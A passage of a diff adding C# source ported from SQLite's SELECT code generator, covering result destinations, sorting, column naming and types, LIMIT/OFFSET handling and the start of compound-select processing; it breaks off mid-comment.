+ case SRT_EphemTab: + { + int r1 = sqlite3GetTempReg( pParse ); + testcase( eDest == SRT_Table ); + testcase( eDest == SRT_EphemTab ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + if ( pOrderBy != null ) + { + pushOntoSorter( pParse, pOrderBy, p, r1 ); + } + else + { + int r2 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, r2 ); + sqlite3VdbeAddOp3( v, OP_Insert, iParm, r1, r2 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3ReleaseTempReg( pParse, r2 ); + } + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if !SQLITE_OMIT_SUBQUERY + /* If we are creating a set for an "expr IN (SELECT ...)" construct, +** then there should be a single item on the stack. Write this +** item into the set table with bogus data. +*/ + case SRT_Set: + { + Debug.Assert( nColumn == 1 ); + p.affinity = sqlite3CompareAffinity( pEList.a[0].pExpr, pDest.affinity ); + if ( pOrderBy != null ) + { + /* At first glance you would think we could optimize out the + ** ORDER BY in this case since the order of entries in the set + ** does not matter. But there might be a LIMIT clause, in which + ** case the order does matter */ + pushOntoSorter( pParse, pOrderBy, p, regResult ); + } + else + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regResult, 1, r1, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, regResult, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + break; + } + + /* If any row exist in the result set, record that fact and abort. + */ + case SRT_Exists: + { + sqlite3VdbeAddOp2( v, OP_Integer, 1, iParm ); + /* The LIMIT clause will terminate the loop for us */ + break; + } + + /* If this is a scalar select that is part of an expression, then + ** store the results in the appropriate memory cell and break out + ** of the scan loop. + */ + case SRT_Mem: + { + Debug.Assert( nColumn == 1 ); + if ( pOrderBy != null ) + { + pushOntoSorter( pParse, pOrderBy, p, regResult ); + } + else + { + sqlite3ExprCodeMove( pParse, regResult, iParm, 1 ); + /* The LIMIT clause will jump out of the loop for us */ + } + break; + } +#endif // * #if !SQLITE_OMIT_SUBQUERY */ + + /* Send the data to the callback function or to a subroutine. In the +** case of a subroutine, the subroutine itself is responsible for +** popping the data from the stack. +*/ + case SRT_Coroutine: + case SRT_Output: + { + testcase( eDest == SRT_Coroutine ); + testcase( eDest == SRT_Output ); + if ( pOrderBy != null ) + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + pushOntoSorter( pParse, pOrderBy, p, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + else if ( eDest == SRT_Coroutine ) + { + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + } + else + { + sqlite3VdbeAddOp2( v, OP_ResultRow, regResult, nColumn ); + sqlite3ExprCacheAffinityChange( pParse, regResult, nColumn ); + } + break; + } + +#if !SQLITE_OMIT_TRIGGER + /* Discard the results. This is used for SELECT statements inside +** the body of a TRIGGER. The purpose of such selects is to call +** user-defined functions that have side effects. We do not care +** about the actual results of the select. +*/ + default: + { + Debug.Assert( eDest == SRT_Discard ); + break; + } +#endif + } + + /* Jump to the end of the loop if the LIMIT is reached. + */ + if ( p.iLimit != 0 ) + { + Debug.Assert( pOrderBy == null ); /* If there is an ORDER BY, the call to +** pushOntoSorter() would have cleared p.iLimit */ + sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 ); + sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak ); + } + } + + /* + ** Given an expression list, generate a KeyInfo structure that records + ** the collating sequence for each expression in that expression list. + ** + ** If the ExprList is an ORDER BY or GROUP BY clause then the resulting + ** KeyInfo structure is appropriate for initializing a virtual index to + ** implement that clause. If the ExprList is the result set of a SELECT + ** then the KeyInfo structure is appropriate for initializing a virtual + ** index to implement a DISTINCT test. + ** + ** Space to hold the KeyInfo structure is obtain from malloc. The calling + ** function is responsible for seeing that this structure is eventually + ** freed. Add the KeyInfo structure to the P4 field of an opcode using + ** P4_KEYINFO_HANDOFF is the usual way of dealing with this. + */ + static KeyInfo keyInfoFromExprList( Parse pParse, ExprList pList ) + { + sqlite3 db = pParse.db; + int nExpr; + KeyInfo pInfo; + ExprList_item pItem; + int i; + + nExpr = pList.nExpr; + pInfo = new KeyInfo();//sqlite3DbMallocZero(db, sizeof(*pInfo) + nExpr*(CollSeq*.Length+1) ); + if ( pInfo != null ) + { + pInfo.aSortOrder = new byte[nExpr];// pInfo.aColl[nExpr]; + pInfo.aColl = new CollSeq[nExpr]; + pInfo.nField = (u16)nExpr; + pInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC(db); + pInfo.db = db; + for ( i = 0 ; i < nExpr ; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + CollSeq pColl; + pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); + if ( pColl == null ) + { + pColl = db.pDfltColl; + } + pInfo.aColl[i] = pColl; + pInfo.aSortOrder[i] = (byte)pItem.sortOrder; + } + } + return pInfo; + } + + + /* + ** If the inner loop was generated using a non-null pOrderBy argument, + ** then the results were placed in a sorter. After the loop is terminated + ** we need to run the sorter and output the results. The following + ** routine generates the code needed to do that. + */ + static void generateSortTail( + Parse pParse, /* Parsing context */ + Select p, /* The SELECT statement */ + Vdbe v, /* Generate code into this VDBE */ + int nColumn, /* Number of columns of data */ + SelectDest pDest /* Write the sorted results here */ + ) + { + int addrBreak = sqlite3VdbeMakeLabel( v ); /* Jump here to exit loop */ + int addrContinue = sqlite3VdbeMakeLabel( v ); /* Jump here for next cycle */ + int addr; + int iTab; + int pseudoTab = 0; + ExprList pOrderBy = p.pOrderBy; + + int eDest = pDest.eDest; + int iParm = pDest.iParm; + + int regRow; + int regRowid; + + iTab = pOrderBy.iECursor; + if ( eDest == SRT_Output || eDest == SRT_Coroutine ) + { + pseudoTab = pParse.nTab++; + sqlite3VdbeAddOp3( v, OP_OpenPseudo, pseudoTab, eDest == SRT_Output ? 1 : 0, nColumn ); + } + addr = 1 + sqlite3VdbeAddOp2( v, OP_Sort, iTab, addrBreak ); + codeOffset( v, p, addrContinue ); + regRow = sqlite3GetTempReg( pParse ); + regRowid = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_Column, iTab, pOrderBy.nExpr + 1, regRow ); + switch ( eDest ) + { + case SRT_Table: + case SRT_EphemTab: + { + testcase( eDest == SRT_Table ); + testcase( eDest == SRT_EphemTab ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iParm, regRow, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + break; + } +#if !SQLITE_OMIT_SUBQUERY + case SRT_Set: + { + Debug.Assert( nColumn == 1 ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regRow, 1, regRowid, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, regRow, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, regRowid ); + break; + } + case SRT_Mem: + { + Debug.Assert( nColumn == 1 ); + sqlite3ExprCodeMove( pParse, regRow, iParm, 1 ); + /* The LIMIT clause will terminate the loop for us */ + break; + } +#endif + default: + { + int i; + Debug.Assert( eDest == SRT_Output || eDest == SRT_Coroutine ); + testcase( eDest == SRT_Output ); + testcase( eDest == SRT_Coroutine ); + sqlite3VdbeAddOp2( v, OP_Integer, 1, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, pseudoTab, regRow, regRowid ); + for ( i = 0 ; i < nColumn ; i++ ) + { + Debug.Assert( regRow != pDest.iMem + i ); + sqlite3VdbeAddOp3( v, OP_Column, pseudoTab, i, pDest.iMem + i ); + } + if ( eDest == SRT_Output ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, pDest.iMem, nColumn ); + sqlite3ExprCacheAffinityChange( pParse, pDest.iMem, nColumn ); + } + else + { + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + } + break; + } + } + sqlite3ReleaseTempReg( pParse, regRow ); + sqlite3ReleaseTempReg( pParse, regRowid ); + + /* LIMIT has been implemented by the pushOntoSorter() routine. + */ + Debug.Assert( p.iLimit == 0 ); + + /* The bottom of the loop + */ + sqlite3VdbeResolveLabel( v, addrContinue ); + sqlite3VdbeAddOp2( v, OP_Next, iTab, addr ); + sqlite3VdbeResolveLabel( v, addrBreak ); + if ( eDest == SRT_Output || eDest == SRT_Coroutine ) + { + sqlite3VdbeAddOp2( v, OP_Close, pseudoTab, 0 ); + } + + } + + /* + ** Return a pointer to a string containing the 'declaration type' of the + ** expression pExpr. The string may be treated as static by the caller. + ** + ** The declaration type is the exact datatype definition extracted from the + ** original CREATE TABLE statement if the expression is a column. The + ** declaration type for a ROWID field is INTEGER. Exactly when an expression + ** is considered a column can be complex in the presence of subqueries. The + ** result-set expression in all of the following SELECT statements is + ** considered a column by this function. + ** + ** SELECT col FROM tbl; + ** SELECT (SELECT col FROM tbl; + ** SELECT (SELECT col FROM tbl); + ** SELECT abc FROM (SELECT col AS abc FROM tbl); + ** + ** The declaration type for any expression other than a column is NULL. + */ + static string columnType( + NameContext pNC, + Expr pExpr, + ref string pzOriginDb, + ref string pzOriginTab, + ref string pzOriginCol + ) + { + string zType = null; + string zOriginDb = null; + string zOriginTab = null; + string zOriginCol = null; + int j; + if ( NEVER( pExpr == null ) || pNC.pSrcList == null ) return null; + + switch ( pExpr.op ) + { + case TK_AGG_COLUMN: + case TK_COLUMN: + { + /* The expression is a column. Locate the table the column is being + ** extracted from in NameContext.pSrcList. This table may be real + ** database table or a subquery. + */ + Table pTab = null; /* Table structure column is extracted from */ + Select pS = null; /* Select the column is extracted from */ + int iCol = pExpr.iColumn; /* Index of column in pTab */ + testcase( pExpr.op == TK_AGG_COLUMN ); + testcase( pExpr.op == TK_COLUMN ); + while ( pNC != null && pTab == null ) + { + SrcList pTabList = pNC.pSrcList; + for ( j = 0 ; j < pTabList.nSrc && pTabList.a[j].iCursor != pExpr.iTable ; j++ ) ; + if ( j < pTabList.nSrc ) + { + pTab = pTabList.a[j].pTab; + pS = pTabList.a[j].pSelect; + } + else + { + pNC = pNC.pNext; + } + } + + if ( pTab == null ) + { + /* FIX ME: + ** This can occurs if you have something like "SELECT new.x;" inside + ** a trigger. In other words, if you reference the special "new" + ** table in the result set of a select. We do not have a good way + ** to find the actual table type, so call it "TEXT". This is really + ** something of a bug, but I do not know how to fix it. + ** + ** This code does not produce the correct answer - it just prevents + ** a segfault. See ticket #1229. + */ + zType = "TEXT"; + break; + } + + Debug.Assert( pTab != null ); + if ( pS != null ) + { + /* The "table" is actually a sub-select or a view in the FROM clause + ** of the SELECT statement. Return the declaration type and origin + ** data for the result-set column of the sub-select. + */ + if ( ALWAYS( iCol >= 0 && iCol < pS.pEList.nExpr ) ) + { + /* If iCol is less than zero, then the expression requests the + ** rowid of the sub-select or view. This expression is legal (see + ** test case misc2.2.2) - it always evaluates to NULL. + */ + NameContext sNC = new NameContext(); + Expr p = pS.pEList.a[iCol].pExpr; + sNC.pSrcList = pS.pSrc; + sNC.pNext = null; + sNC.pParse = pNC.pParse; + zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); + } + } + else if ( ALWAYS( pTab.pSchema ) ) + { + /* A real table */ + Debug.Assert( pS == null ); + if ( iCol < 0 ) iCol = pTab.iPKey; + Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); + if ( iCol < 0 ) + { + zType = "INTEGER"; + zOriginCol = "rowid"; + } + else + { + zType = pTab.aCol[iCol].zType; + zOriginCol = pTab.aCol[iCol].zName; + } + zOriginTab = pTab.zName; + if ( pNC.pParse != null ) + { + int iDb = sqlite3SchemaToIndex( pNC.pParse.db, pTab.pSchema ); + zOriginDb = pNC.pParse.db.aDb[iDb].zName; + } + } + break; + } +#if !SQLITE_OMIT_SUBQUERY + case TK_SELECT: + { + /* The expression is a sub-select. Return the declaration type and + ** origin info for the single column in the result set of the SELECT + ** statement. + */ + NameContext sNC = new NameContext(); + Select pS = pExpr.x.pSelect; + Expr p = pS.pEList.a[0].pExpr; + Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); + sNC.pSrcList = pS.pSrc; + sNC.pNext = pNC; + sNC.pParse = pNC.pParse; + zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); + break; + } +#endif + } + + if ( pzOriginDb != null ) + { + Debug.Assert( pzOriginTab != null && pzOriginCol != null ); + pzOriginDb = zOriginDb; + pzOriginTab = zOriginTab; + pzOriginCol = zOriginCol; + } + return zType; + } + + /* + ** Generate code that will tell the VDBE the declaration types of columns + ** in the result set. + */ + static void generateColumnTypes( + Parse pParse, /* Parser context */ + SrcList pTabList, /* List of tables */ + ExprList pEList /* Expressions defining the result set */ + ) + { +#if !SQLITE_OMIT_DECLTYPE + Vdbe v = pParse.pVdbe; + int i; + NameContext sNC = new NameContext(); + sNC.pSrcList = pTabList; + sNC.pParse = pParse; + for ( i = 0 ; i < pEList.nExpr ; i++ ) + { + Expr p = pEList.a[i].pExpr; + string zType; +#if SQLITE_ENABLE_COLUMN_METADATA +const string zOrigDb = 0; +const string zOrigTab = 0; +const string zOrigCol = 0; +zType = columnType(&sNC, p, zOrigDb, zOrigTab, zOrigCol); + +/* The vdbe must make its own copy of the column-type and other +** column specific strings, in case the schema is reset before this +** virtual machine is deleted. +*/ +sqlite3VdbeSetColName(v, i, COLNAME_DATABASE, zOrigDb, SQLITE_TRANSIENT); +sqlite3VdbeSetColName(v, i, COLNAME_TABLE, zOrigTab, SQLITE_TRANSIENT); +sqlite3VdbeSetColName(v, i, COLNAME_COLUMN, zOrigCol, SQLITE_TRANSIENT); +#else + string sDummy = null; + zType = columnType( sNC, p, ref sDummy, ref sDummy, ref sDummy ); +#endif + sqlite3VdbeSetColName( v, i, COLNAME_DECLTYPE, zType, SQLITE_TRANSIENT ); + } +#endif //* SQLITE_OMIT_DECLTYPE */ + } + + /* + ** Generate code that will tell the VDBE the names of columns + ** in the result set. This information is used to provide the + ** azCol[] values in the callback. + */ + static void generateColumnNames( + Parse pParse, /* Parser context */ + SrcList pTabList, /* List of tables */ + ExprList pEList /* Expressions defining the result set */ + ) + { + Vdbe v = pParse.pVdbe; + int i, j; + sqlite3 db = pParse.db; + bool fullNames; bool shortNames; + +#if !SQLITE_OMIT_EXPLAIN + /* If this is an EXPLAIN, skip this step */ + if ( pParse.explain != 0 ) + { + return; + } +#endif + + if ( pParse.colNamesSet != 0 || NEVER( v == null ) /*|| db.mallocFailed != 0 */ ) return; + pParse.colNamesSet = 1; + fullNames = ( db.flags & SQLITE_FullColNames ) != 0; + shortNames = ( db.flags & SQLITE_ShortColNames ) != 0; + sqlite3VdbeSetNumCols( v, pEList.nExpr ); + for ( i = 0 ; i < pEList.nExpr ; i++ ) + { + Expr p; + p = pEList.a[i].pExpr; + if ( NEVER( p == null ) ) continue; + if ( pEList.a[i].zName != null ) + { + string zName = pEList.a[i].zName; + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_TRANSIENT ); + } + else if ( ( p.op == TK_COLUMN || p.op == TK_AGG_COLUMN ) && pTabList != null ) + { + Table pTab; + string zCol; + int iCol = p.iColumn; + for ( j = 0 ; ALWAYS( j < pTabList.nSrc ) ; j++ ) + { + if ( pTabList.a[j].iCursor == p.iTable ) break; + } + Debug.Assert( j < pTabList.nSrc ); + pTab = pTabList.a[j].pTab; + if ( iCol < 0 ) iCol = pTab.iPKey; + Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); + if ( iCol < 0 ) + { + zCol = "rowid"; + } + else + { + zCol = pTab.aCol[iCol].zName; + } + if ( !shortNames && !fullNames ) + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, + pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); + } + else if ( fullNames ) + { + string zName; + zName = sqlite3MPrintf( db, "%s.%s", pTab.zName, zCol ); + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_DYNAMIC ); + } + else + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, zCol, SQLITE_TRANSIENT ); + } + } + else + { + sqlite3VdbeSetColName( v, i, COLNAME_NAME, + pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); + } + } + generateColumnTypes( pParse, pTabList, pEList ); + } + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** Name of the connection operator, used for error messages. +*/ + static string selectOpName( int id ) + { + string z; + switch ( id ) + { + case TK_ALL: z = "UNION ALL"; break; + case TK_INTERSECT: z = "INTERSECT"; break; + case TK_EXCEPT: z = "EXCEPT"; break; + default: z = "UNION"; break; + } + return z; + } +#endif // * SQLITE_OMIT_COMPOUND_SELECT */ + + /* +** Given a an expression list (which is really the list of expressions +** that form the result set of a SELECT statement) compute appropriate +** column names for a table that would hold the expression list. +** +** All column names will be unique. +** +** Only the column names are computed. Column.zType, Column.zColl, +** and other fields of Column are zeroed. +** +** Return SQLITE_OK on success. If a memory allocation error occurs, +** store NULL in paCol and 0 in pnCol and return SQLITE_NOMEM. +*/ + static int selectColumnsFromExprList( + Parse pParse, /* Parsing context */ + ExprList pEList, /* Expr list from which to derive column names */ + ref int pnCol, /* Write the number of columns here */ + ref Column[] paCol /* Write the new column list here */ + ) + { + sqlite3 db = pParse.db; /* Database connection */ + int i, j; /* Loop counters */ + int cnt; /* Index added to make the name unique */ + Column[] aCol; Column pCol; /* For looping over result columns */ + int nCol; /* Number of columns in the result set */ + Expr p; /* Expression for a single result column */ + string zName; /* Column name */ + int nName; /* Size of name in zName[] */ + + + pnCol = nCol = pEList.nExpr; + aCol = paCol = new Column[nCol];//sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol); + if ( aCol == null ) return SQLITE_NOMEM; + for ( i = 0 ; i < nCol ; i++ )//, pCol++) + { + if ( aCol[i] == null ) aCol[i] = new Column(); + pCol = aCol[i]; + /* Get an appropriate name for the column + */ + p = pEList.a[i].pExpr; + Debug.Assert( p.pRight == null || ExprHasProperty( p.pRight, EP_IntValue ) + || p.pRight.u.zToken == null || p.pRight.u.zToken.Length > 0 ); + if ( pEList.a[i].zName != null && ( zName = pEList.a[i].zName ) != "" ) + { + /* If the column contains an "AS " phrase, use as the name */ + //zName = sqlite3DbStrDup(db, zName); + } + else + { + Expr pColExpr = p; /* The expression that is the result column name */ + Table pTab; /* Table associated with this expression */ + while ( pColExpr.op == TK_DOT ) pColExpr = pColExpr.pRight; + if ( pColExpr.op == TK_COLUMN && ALWAYS( pColExpr.pTab != null ) ) + { + /* For columns use the column name name */ + int iCol = pColExpr.iColumn; + pTab = pColExpr.pTab; + if ( iCol < 0 ) iCol = pTab.iPKey; + zName = sqlite3MPrintf( db, "%s", + iCol >= 0 ? pTab.aCol[iCol].zName : "rowid" ); + } + else if ( pColExpr.op == TK_ID ) + { + Debug.Assert( !ExprHasProperty( pColExpr, EP_IntValue ) ); + zName = sqlite3MPrintf( db, "%s", pColExpr.u.zToken ); + } + else + { + /* Use the original text of the column expression as its name */ + zName = sqlite3MPrintf( db, "%s", pEList.a[i].zSpan ); + } + } + //if ( db.mallocFailed != 0 ) + //{ + // //sqlite3DbFree( db, zName ); + // break; + //} + + /* Make sure the column name is unique. If the name is not unique, + ** append a integer to the name so that it becomes unique. + */ + nName = sqlite3Strlen30( zName ); + for ( j = cnt = 0 ; j < i ; j++ ) + { + if ( sqlite3StrICmp( aCol[j].zName, zName ) == 0 ) + { + string zNewName; + //zName[nName] = 0; + zNewName = sqlite3MPrintf( db, "%s:%d", zName.Substring( 0, nName ), ++cnt ); + //sqlite3DbFree(db, zName); + zName = zNewName; + j = -1; + if ( zName == "" ) break; + } + } + pCol.zName = zName; + } + //if ( db.mallocFailed != 0 ) + //{ + // for ( j = 0 ; j < i ; j++ ) + // { + // //sqlite3DbFree( db, aCol[j].zName ); + // } + // //sqlite3DbFree( db, aCol ); + // paCol = null; + // pnCol = 0; + // return SQLITE_NOMEM; + //} + return SQLITE_OK; + } + + /* + ** Add type and collation information to a column list based on + ** a SELECT statement. + ** + ** The column list presumably came from selectColumnNamesFromExprList(). + ** The column list has only names, not types or collations. This + ** routine goes through and adds the types and collations. + ** + ** This routine requires that all identifiers in the SELECT + ** statement be resolved. + */ + static void selectAddColumnTypeAndCollation( + Parse pParse, /* Parsing contexts */ + int nCol, /* Number of columns */ + Column[] aCol, /* List of columns */ + Select pSelect /* SELECT used to determine types and collations */ + ) + { + sqlite3 db = pParse.db; + NameContext sNC; + Column pCol; + CollSeq pColl; + int i; + Expr p; + ExprList_item[] a; + + Debug.Assert( pSelect != null ); + Debug.Assert( ( pSelect.selFlags & SF_Resolved ) != 0 ); + Debug.Assert( nCol == pSelect.pEList.nExpr /*|| db.mallocFailed != 0 */ ); +// if ( db.mallocFailed != 0 ) return; + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pSrcList = pSelect.pSrc; + a = pSelect.pEList.a; + for ( i = 0 ; i < nCol ; i++ )//, pCol++ ) + { + pCol = aCol[i]; + p = a[i].pExpr; + string bDummy = null; pCol.zType = columnType( sNC, p, ref bDummy, ref bDummy, ref bDummy );// sqlite3DbStrDup( db, columnType( sNC, p, 0, 0, 0 ) ); + pCol.affinity = sqlite3ExprAffinity( p ); + if ( pCol.affinity == 0 ) pCol.affinity = SQLITE_AFF_NONE; + pColl = sqlite3ExprCollSeq( pParse, p ); + if ( pColl != null ) + { + pCol.zColl = pColl.zName;// sqlite3DbStrDup( db, pColl.zName ); + } + } + } + + /* + ** Given a SELECT statement, generate a Table structure that describes + ** the result set of that SELECT. + */ + static Table sqlite3ResultSetOfSelect( Parse pParse, Select pSelect ) + { + Table pTab; + sqlite3 db = pParse.db; + int savedFlags; + + savedFlags = db.flags; + db.flags &= ~SQLITE_FullColNames; + db.flags |= SQLITE_ShortColNames; + sqlite3SelectPrep( pParse, pSelect, null ); + if ( pParse.nErr != 0 ) return null; + while ( pSelect.pPrior != null ) pSelect = pSelect.pPrior; + db.flags = savedFlags; + pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); + if ( pTab == null ) + { + return null; + } + /* The sqlite3ResultSetOfSelect() is only used n contexts where lookaside + ** is disabled, so we might as well hard-code pTab->dbMem to NULL. */ + Debug.Assert( db.lookaside.bEnabled == 0 ); + pTab.dbMem = null; + pTab.nRef = 1; + pTab.zName = null; + selectColumnsFromExprList( pParse, pSelect.pEList, ref pTab.nCol, ref pTab.aCol ); + selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSelect ); + pTab.iPKey = -1; + //if ( db.mallocFailed != 0 ) + //{ + // sqlite3DeleteTable( ref pTab ); + // return null; + //} + return pTab; + } + + /* + ** Get a VDBE for the given parser context. Create a new one if necessary. + ** If an error occurs, return NULL and leave a message in pParse. + */ + static Vdbe sqlite3GetVdbe( Parse pParse ) + { + Vdbe v = pParse.pVdbe; + if ( v == null ) + { + v = pParse.pVdbe = sqlite3VdbeCreate( pParse.db ); +#if !SQLITE_OMIT_TRACE + if ( v != null ) + { + sqlite3VdbeAddOp0( v, OP_Trace ); + } +#endif + } + return v; + } + + + /* + ** Compute the iLimit and iOffset fields of the SELECT based on the + ** pLimit and pOffset expressions. pLimit and pOffset hold the expressions + ** that appear in the original SQL statement after the LIMIT and OFFSET + ** keywords. Or NULL if those keywords are omitted. iLimit and iOffset + ** are the integer memory register numbers for counters used to compute + ** the limit and offset. If there is no limit and/or offset, then + ** iLimit and iOffset are negative. + ** + ** This routine changes the values of iLimit and iOffset only if + ** a limit or offset is defined by pLimit and pOffset. iLimit and + ** iOffset should have been preset to appropriate default values + ** (usually but not always -1) prior to calling this routine. + ** Only if pLimit!=0 or pOffset!=0 do the limit registers get + ** redefined. The UNION ALL operator uses this property to force + ** the reuse of the same limit and offset registers across multiple + ** SELECT statements. + */ + static void computeLimitRegisters( Parse pParse, Select p, int iBreak ) + { + Vdbe v = null; + int iLimit = 0; + int iOffset; + int addr1; + if ( p.iLimit != 0 ) return; + + /* + ** "LIMIT -1" always shows all rows. There is some + ** contraversy about what the correct behavior should be. + ** The current implementation interprets "LIMIT 0" to mean + ** no rows. + */ + sqlite3ExprCacheClear( pParse ); + Debug.Assert( p.pOffset == null || p.pLimit != null ); + if ( p.pLimit != null ) + { + p.iLimit = iLimit = ++pParse.nMem; + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) return; /* VDBE should have already been allocated */ + sqlite3ExprCode( pParse, p.pLimit, iLimit ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, iLimit ); +#if SQLITE_DEBUG + VdbeComment( v, "LIMIT counter" ); +#endif + sqlite3VdbeAddOp2( v, OP_IfZero, iLimit, iBreak ); + if ( p.pOffset != null ) + { + p.iOffset = iOffset = ++pParse.nMem; + pParse.nMem++; /* Allocate an extra register for limit+offset */ + sqlite3ExprCode( pParse, p.pOffset, iOffset ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, iOffset ); +#if SQLITE_DEBUG + VdbeComment( v, "OFFSET counter" ); +#endif + addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iOffset ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, iOffset ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp3( v, OP_Add, iLimit, iOffset, iOffset + 1 ); +#if SQLITE_DEBUG + VdbeComment( v, "LIMIT+OFFSET" ); +#endif + addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iLimit ); + sqlite3VdbeAddOp2( v, OP_Integer, -1, iOffset + 1 ); + sqlite3VdbeJumpHere( v, addr1 ); + } + } + } + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** Return the appropriate collating sequence for the iCol-th column of +** the result set for the compound-select statement "p". Return NULL if +** the column has no default collating sequence. +** +** The collating sequence for the compound select is taken from the +** left-most term of the select that has a collating sequence. +*/ + static CollSeq multiSelectCollSeq( Parse pParse, Select p, int iCol ) + { + CollSeq pRet; + if ( p.pPrior != null ) + { + pRet = multiSelectCollSeq( pParse, p.pPrior, iCol ); + } + else + { + pRet = null; + } + Debug.Assert( iCol >= 0 ); + if ( pRet == null && iCol < p.pEList.nExpr ) + { + pRet = sqlite3ExprCollSeq( pParse, p.pEList.a[iCol].pExpr ); + } + return pRet; + } +#endif // * SQLITE_OMIT_COMPOUND_SELECT */ + + /* Forward reference */ + //static int multiSelectOrderBy( + // Parse* pParse, /* Parsing context */ + // Select* p, /* The right-most of SELECTs to be coded */ + // SelectDest* pDest /* What to do with query results */ + //); + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** This routine is called to process a compound query form from +** two or more separate queries using UNION, UNION ALL, EXCEPT, or +** INTERSECT +** +** "p" points to the right-most of the two queries. the query on the +** left is p.pPrior. The left query could also be a compound query +** in which case this routine will be called recursively. +** +** The results of the total query are to be written into a destination +** of type eDest with parameter iParm. +** +** Example 1: Consider a three-way compound SQL statement. +** +** SELECT a FROM t1 UNION SELECT b FROM t2 UNION SELECT c FROM t3 +** +** This statement is parsed up as follows: +** +** SELECT c FROM t3 +** | +** `----. SELECT b FROM t2 +** | +** `-----. SELECT a FROM t1 +** +** The arrows in the diagram above represent the Select.pPrior pointer. +** So if this routine is called with p equal to the t3 query, then +** pPrior will be the t2 query. p.op will be TK_UNION in this case. +** +** Notice that because of the way SQLite parses compound SELECTs, the +** individual selects always group from left to right. +*/ + static int multiSelect( + Parse pParse, /* Parsing context */ + Select p, /* The right-most of SELECTs to be coded */ + SelectDest pDest /* What to do with query results */ + ) + { + int rc = SQLITE_OK; /* Success code from a subroutine */ + Select pPrior; /* Another SELECT immediately to our left */ + Vdbe v; /* Generate code to this VDBE */ + SelectDest dest = new SelectDest(); /* Alternative data destination */ + Select pDelete = null; /* Chain of simple selects to delete */ + sqlite3 db; /* Database connection */ + + /* Make sure there is no ORDER BY or LIMIT clause on prior SELECTs. Only + ** the last (right-most) SELECT in the series may have an ORDER BY or LIMIT. + */ + Debug.Assert( p != null && p.pPrior != null ); /* Calling function guarantees this much */ + db = pParse.db; + pPrior = p.pPrior; + Debug.Assert( pPrior.pRightmost != pPrior ); + Debug.Assert( pPrior.pRightmost == p.pRightmost ); + dest = pDest; + if ( pPrior.pOrderBy != null ) + { + sqlite3ErrorMsg( pParse, "ORDER BY clause should come after %s not before", + selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + if ( pPrior.pLimit != null ) + { + sqlite3ErrorMsg( pParse, "LIMIT clause should come after %s not before", + selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); /* The VDBE already created by calling function */ + + /* Create the destination temporary table if necessary + */ + if ( dest.eDest == SRT_EphemTab ) + { + Debug.Assert( p.pEList != null ); + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, dest.iParm, p.pEList.nExpr ); + dest.eDest = SRT_Table; + } + + /* Make sure all SELECTs in the statement have the same number of elements + ** in their result sets. + */ + Debug.Assert( p.pEList != null && pPrior.pEList != null ); + if ( p.pEList.nExpr != pPrior.pEList.nExpr ) + { + sqlite3ErrorMsg( pParse, "SELECTs to the left and right of %s" + + " do not have the same number of result columns", selectOpName( p.op ) ); + rc = 1; + goto multi_select_end; + } + + /* Compound SELECTs that have an ORDER BY clause are handled 